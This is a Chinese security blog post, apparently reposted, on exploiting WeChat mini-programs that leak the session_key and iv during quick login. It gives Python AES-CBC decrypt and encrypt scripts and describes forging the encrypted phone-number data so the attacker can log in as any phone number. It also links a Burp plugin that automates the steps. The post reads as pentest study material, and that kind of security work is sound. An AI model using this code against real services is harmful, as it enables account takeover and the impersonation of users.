wx小程序session_key利用插件

admin 2020年8月4日20:24:20评论800 views字数 1471阅读4分54秒阅读模式

开头

学习Poc Sir老师傅的微信小程序渗透五脉,最近在测试的过程中发现了一例快捷登录存在问题的小程序,要进行加解密,写了一个简单的burp插件,方便后续的工作。
具体的原理这里不再进一步赘述。有兴趣的可以去看雷神众测的文章。

中间

测试的时候发现一个小程序,能快捷登陆。

wx小程序session_key利用插件

抓登陆的包可以看到,啥都给出来的,显然存在问题,可以进行解密,篡改。

wx小程序session_key利用插件

然后来尝试加解密。

加解密代码

在获取到session_key,以及iv的情况下,直接可以进行解密:

  1. #!python

  2. #!/usr/bin/env python

  3. # -*- coding:utf-8 -*-


  4. import base64

  5. from Crypto.Cipher import *



  6. def decrypt(enStr, key, iv):

  7. cipher = AES.new(key, AES.MODE_CBC, iv)

  8. msg = cipher.decrypt(enStr)

  9. paddingLen = ord(msg[len(msg)-1])

  10. return msg[0:-paddingLen]



  11. def decryptData(encryptedData, iv, sessionKey):

  12. aesIV = base64.b64decode(iv)

  13. aesCipher = base64.b64decode(encryptedData)

  14. aesKey = base64.b64decode(sessionKey)

  15. return decrypt(aesCipher, aesKey, aesIV)



  16. if __name__ == '__main__':

  17. print decryptData(data, iv, sessionkey)

得到的结果格式如下:

  1. {

  2. "phoneNumber": "+85259883333",

  3. "purePhoneNumber": "59883333",

  4. "countryCode": "852",

  5. "watermark":

  6. {

  7. "appid":"APPID",

  8. "timestamp": TIMESTAMP

  9. }

  10. }


解密的结果:

wx小程序session_key利用插件

然后可以对其进行修改后进行伪造,完成任意手机号码登陆。
加密的代码:

  1. #!python

  2. #!/usr/bin/env python

  3. # -*- coding:utf-8 -*-


  4. import base64

  5. from Crypto.Cipher import AES



  6. def encrypt(str, key, iv):

  7. cipher = AES.new(key, AES.MODE_CBC,iv)

  8. x = 16 - (len(str) % 16)

  9. if x != 0:

  10. str = str + chr(x)*x

  11. msg = base64.b64encode(cipher.encrypt(str))

  12. return msg


  13. def encryptData(decryptedData, iv, sessionKey):

  14. aesIV = base64.b64decode(iv)

  15. aesKey = base64.b64decode(sessionKey)

  16. return encrypt(decryptedData, aesKey, aesIV)


  17. if __name__ == '__main__':

  18. print encryptData(data, iv, sessionKey)


然后将得到的结果替换报文原来的加密内容。(这里是一次性有效的,无论成功与否)

插件

简单的写了个burp的插件。

wx小程序session_key利用插件

存在问题可以及时联系,或者自行修改 项目地址:https://github.com/hmoytx/bp_miniprogram_decrypt

参考

https://www.hackinn.com/index.php/archives/672/


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月4日20:24:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wx小程序session_key利用插件https://cn-sec.com/archives/81087.html

发表评论

匿名网友 填写信息